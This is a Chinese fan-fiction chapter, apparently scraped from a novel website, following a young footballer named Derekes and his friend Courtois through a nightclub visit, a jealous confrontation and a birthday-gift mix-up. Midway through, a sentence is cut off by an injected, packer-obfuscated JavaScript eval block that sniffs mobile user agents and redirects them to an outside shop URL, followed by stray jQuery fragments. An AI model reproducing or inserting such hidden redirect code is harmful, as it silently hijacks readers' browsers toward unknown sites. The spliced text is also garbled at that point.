卡斯特尔斯所说的庆祝就是带你来夜店？但教练不是说不让去夜店嘛？
你震惊地看着屏幕里晃动的彩色射灯，时而变红，时而变绿，还有频闪灯、激光束、彩色氛围灯在人群头顶交错晃动，光影忽明忽暗，让人看不清周围人的脸。强劲的电子乐贯穿全场，重低音的鼓点仿佛敲在心脏上，除此之外还有更靠里一点人群的尖叫声和口哨声，简直吵得人耳朵疼。
你之前二十几年还从来没去过夜店，没想到有朝一日还能通过模拟器见识到，卡斯特尔斯抓着德瑞克斯的手腕挤开扭着身子的人群往里走，越到里面越是群魔乱舞，偶尔看见几个在卡座角落里放肆亲//热的男男女女，德瑞克斯还没什么反应，你就把眼睛捂上，但也没忘记留出一条缝去看，不多看，缓慢地看，有序地看，先看带动后看……哇这些人在干什么不准往德瑞克斯身上靠！
迷幻的彩灯映照在那张棱角分明、五官端丽的脸上，那是一张算得上好看得甚至具有攻击性的脸，眼尾微微上挑，脸过分白，嘴唇又过分红，世界上纯净度最高的祖母绿宝石就镶嵌在他的眼瞳中，没有任何杂质的眼睛倒映着他面前的一切。这张脸很适合勾唇冷笑或者嘲笑别人，那种居高临下的矜傲不需要过多修饰就能展现得淋漓尽致，但可惜这是德瑞克斯的脸，他脸上最多的表情就是——面无表情。
这一路走过来，有越来越多的人都把目光投向了德瑞克斯，很多人哪怕完全不认识他，就凭这张脸也足以让他们前赴后继，更难得的是他有一种即使走进这里也依然安静纯粹的独特气质，并不局促慌乱，也没有任何沉迷在这里的意思，他在灯红酒绿的夜店和在充满着激烈对抗的球场上没有任何差别，完全自成一个世界。
前面也说了，青年队的比赛虽然没有那么出名，但也不是没人关注，再加上之前进来的那些人，卡斯特尔斯和德瑞克斯很快就被认出来了，但凡看过德瑞克斯比赛现场的，除非是对手球迷，几乎都为他尖叫过，他在球场上瞬时启动的速度，三两下晃到后卫的技术和一气呵成直插腹地的射门，完全体现出足球这门运动的激情所在，酣畅淋漓、热血沸腾！每个人看球不都是为了看进球那一瞬间嘛，那才是足球真正的意义！而德瑞克斯几乎就成了这个意义本身！
原本扭动的人群都纷纷向德瑞克斯靠近，晶莹的指甲在灯下闪烁着惑人的亮光，纤细的手指轻轻巧巧搭在德瑞克斯的肩膀上，红润的嘴唇还泛着一点水光，蹭着德瑞克斯的脸颊和耳廓，在上面留下了几抹浅红的颜色，有人把手伸进德瑞克斯的衣服里，有人贴着他的背在他耳边呵气如兰，“德瑞克斯？是第一次来这里吗？要不要姐姐教你怎么玩？”
德瑞克斯看着松开了手躲在一边的卡斯特尔斯，他此刻正拿着一个酒杯放松地靠在吧台上，注意到他的目光后对着他挤眉弄眼，做着口型：“放松点。”
放松？怎么放松？他也没绷紧啊？德瑞克斯困惑的眼神让你在屏幕外也差点笑喷了，你也不捂着眼睛了，干脆大大方方看，毕竟德瑞克斯身上是有【烂人の真心】标签在嘛，之前你老是在思考到底什么时候才会烂，现在看来这或许就是一个开始，众所周知成为一个烂人首先就要成为一个playboy！不管是玩还是被玩，你就说玩没玩吧！
你正期待着接下来的场面，一个高大的身影却从夜店深处挤过来，双手还把周围挡着他路的人粗暴推开，谁啊怎么这么没礼貌！你定睛一看，靠！这不是你的好兄弟好朋友蒂博吗？他怎么也在这？不是说有事吗？忙着到夜店来做生人大事是吧！
库尔图瓦把周围挤挤挨挨的人全部推开，终于刨出一条通往德瑞克斯的路了，偶尔有些人被推得一个趔趄，愤愤不平想看看是谁跟死鬼投胎一样冲这么猛，回头看见那张强压着怒火但青筋直跳的脸又讪讪了，只能在心里默默吐槽一句简直像来抓奸的一样。
人群中突然穿出一只手猛地攥住德瑞克斯的手腕，然后把他往外面扯，德瑞克斯看了一眼来人，眨眨眼睛，顺从地跟着他往外走，其他人看见领头那个人的表情也都不过多纠缠了，德瑞克斯就这样被人扯着出了夜店，而这次的夜店之旅甚至只有短暂的几分钟。
库尔图瓦攥着德瑞克斯的手腕走出酒吧，脚步越来越快，攥得力气也越来越大，被他手指掐住的那块皮肤甚至透出了青色，但德瑞克斯一直没出声，直到他们来到一个石板桥边，岸边柳树枝条低垂，在夜色中剪影婆娑，枝叶轻拂着水面，此时两岸静谧无声，唯有暖黄色的灯光勾勒出砖石建筑古拙的轮廓，又倒映在平静无波的水面上。
库尔图瓦倏地停下脚步，忍了一路的情绪转过头来就爆发了：“谁让你去酒吧？！我之前怎么说的？！你去那个地方干什么！！”他死死咬着牙，一双眼睛几乎都在充血，瞪着德瑞克斯的样子像下一秒就要把他掐死，灯光下德瑞克斯的脸上隐隐有些痕迹，库尔图瓦多看了一眼，几乎瞬间就明白这是什么了。
但他宁愿此刻自己是个瞎子！什么都看不懂！库尔图瓦只感觉眼前一黑，激烈的情绪几乎要在他肺里炸开，他甚至有种冲回去把那个给德瑞克斯留下吻痕的人抽筋扒骨的冲动，她怎么敢！她怎么敢的！！他想怒吼，想尖叫，想疯狂破坏什么东西，但在德瑞克斯眼里他却是突然收敛了所有表情，就连刚刚急促的呼吸声都暂停了，他只是伸出手去擦德瑞克斯的脸，力道很重，来回摩擦之下那块皮肤更快就变得殷红，以至于让人根本分不清之前的吻痕到底擦没擦干净。
那就不擦了。库尔图瓦放开手，突然冷笑了一声，然后做出了一个或许连他自己也没想到的动作。
他低下头张嘴咬在了德瑞克斯的脸上。
德瑞克斯回到了酒店，在洗漱池旁挂着的镜子上，一张犹带牙印的脸倒映在其中，牙印把所有可能残留的吻痕都掩盖掉了，任何人看见这张脸都只会第一时间注意到这显眼的牙印。
所幸这牙印第二天回程的时候已经消完了，但手腕上青红色的指印还留在那里，队友见了不敢多问，德布劳内却使劲皱眉，“这是谁掐的？你昨晚去哪了？”
库尔图瓦咳了一声，手里提着用塑料袋装着的膏药，说要和德布劳内换个位置，德布劳内看了一眼塑料袋里的药，确认这是治疗跌打损伤淤青红肿的东西，又深深地看了库尔图瓦一眼，然后坐到了大巴车里其他空座位上。库尔图瓦坐在原来德布劳内的位置上，拉着德瑞克斯的手放在自己腿上，又把膏药的包装袋拆掉，将冰冰凉凉的软状膏体挤在淤青的皮肤上，轻轻揉着让它化开，两个人都没有说话，片刻后，库尔图瓦才开口：“疼不疼？”
德瑞克斯歪头判断了一下库尔图瓦的表情，不知道应该说疼还是不疼，库尔图瓦看着他，恍惚间这张已经张开的脸和曾经那个透露着些许迷茫和无措的脸重合在一起，六岁的德瑞克斯不明白他为什么这么生气，还以为是蛋糕翻倒了的原因，就像现在的德瑞克斯也搞不清楚情况，就连说内心的真实感受都要犹豫。
从来都没变过。这世界每分每秒都在变化，十年时间弹指而过后，沧海能变桑田，桑田也能变沧海，但居然有人能一直保持着曾经的纯粹，就像圆一样，只要半径不变，圆心不管在哪都是那个圆。库尔图瓦终于叹了口气，“算了，你不用说了。”
疼还是不疼又有什么区别呢？他的反应一直都是那样，回去的途中德瑞克斯的眼皮像迎合地心引力般慢慢合上，身体在下一个转弯中向窗棱上倾斜，库尔图瓦眼疾手快地把他倾倒的身体向自己这边拉，然后把他的脑袋往自己肩膀上搁，德瑞克斯就这样靠着库尔图瓦睡着了。
库尔图瓦用脸微微蹭着德瑞克斯柔软的头发，小声说了一句话，声音很小，几乎要完全淹没在车轮滚滚中，但他毕竟还是说了：
“对不起。”
德瑞克斯闭着眼睛，睫毛因为大巴车的颠簸轻轻颤了一下，谁也不知道他听到了没。
回去之后，德布劳内第一次单独找到库尔图瓦，严肃和他交谈了一番，“你以前就和德瑞认识，是他的朋友，所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735303|209030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以我从来不干涉什么，而且我看得出来德瑞也很在乎你，他甚至，”德布劳内顿了一下，又继续道：“但这不是你欺负德瑞的理由，你明明也知道德瑞的性格，而且他是个独立的个体，他不是你的玩具！我不知道德瑞到底哪里惹到你了，如果你要泄愤就去找其他东西，不要伤害他！”
在听到“伤害”这个词之前，库尔图瓦本来还想说些什么，但最后这句话一出，库尔图瓦瞬间就像被人打了一拳一样僵住了，他的嘴巴张开又合上，却吐不出来一个字，很久之后他才用手握住拳头，艰涩地说道：“我没有……没有想过要去伤害他，我……”
德布劳内看着他的表情，那样艰难甚至还透露着一点迷茫，都和德瑞克斯有点像了，但这绝对不是属于库尔图瓦的表情，库尔图瓦虽然长着一张纯净无辜的脸，却经常冷笑、嘲笑，眼睛往下一扫嘴角一勾都是浑然天成的刻薄，总之是和德瑞克斯完全相反的存在。
但偏偏他脸上就是流露出这样的表情了。德布劳内一瞬间不知道心里是种什么感觉，很复杂，他描述不出来，但他把剩下的很多话又吞回肚子里，留下一句“你好好想想吧”就离开了。
库尔图瓦也是真的站在原地想了很久，思来想去思前想后他决定——
要给德瑞克斯买个礼物，就在自己生日的时候送给他。
德瑞克斯没有生日，他的证件上登记的出生日期是1月1日，但这不是他真正出生的日子，库尔图瓦干脆决定把自己的生日分给德瑞克斯一半，以后在这一天，德瑞克斯也能跟他一起庆祝，刚好现在已经是四月份了，转月就是五月，时间也比较近。
库尔图瓦找了很多运动用具商店最后挑到了一件合他心意的礼物，他把礼物用盒子装好，还专门让礼品店的人帮他系了一个标准的蝴蝶结，那样郑重的模样甚至让他姐姐都大为惊奇：“你终于想到要维护一下和女朋友的关系了？”
“什么？”库尔图瓦皱了一下眉，“什么女朋友？跟她没关系。”
“那你这个是送给别人的？”库尔图瓦的姐姐挑眉。
“不是别人，是范德尔……德瑞克斯。”
姐姐皱着脸看了一会儿库尔图瓦，然后点点头：“我以前说的果然没错。”
她以前说什么了？库尔图瓦思考了一会儿，脑子里已经完全没有印象了，但他也没追问，两下就把这个问题抛到脑后，在五月十一号那天将包裹得精致漂亮的礼盒递给了德瑞克斯。
“反正你也不知道自己的出生日期，以后我的生日就是你的生日，祝你生日快乐。”
德瑞克斯接过这个礼盒，拆掉蝴蝶结和包装纸，揭开盖子一看——是一条宽边发带，灰色的。
“你经常不记得去剪头发，头发还有点卷容易遮住视线，以后上场就戴上这个，戴上之后还是一个圆形，怎么样？喜欢吗？”
德瑞克斯抿了抿嘴，“谢谢，我很喜欢。”说完他又把自己准备的礼物递给库尔图瓦，“蒂博，生日快乐。”
库尔图瓦早就注意到他旁边放的那个盒子了，虽然基本上没什么包装，看起来只是普普通通的一个盒子，但再怎么样也比德瑞克斯小时候送给他的一张纸进步多了！库尔图瓦装作才看到的样子，挑挑眉，“这次不送圆圈画了？”
德瑞克斯摇摇头。现在他有青年队给他开的工资，夺冠之后还有奖金，能买下很多东西了，而且他也算有了一些常识吧，知道送礼物好歹得送对方喜欢的东西，于是稍微做了点功课。
但这些库尔图瓦暂时都不知道，他装作随意地打开盒子，眼睛一瞟，所有的表情和动作都顿在原地，片刻后他一句一字地问：“这是什么？”
德瑞克斯严谨道：“比基尼，一般是女子泳衣的一种。”
库尔图瓦闭了闭眼睛，又做了一次深呼吸，“我的意思是，你为什么送我这个？”
“我问卡斯特尔斯你喜欢什么，他说你喜欢比基尼。”
“……卡斯特尔斯我要杀了你！！！”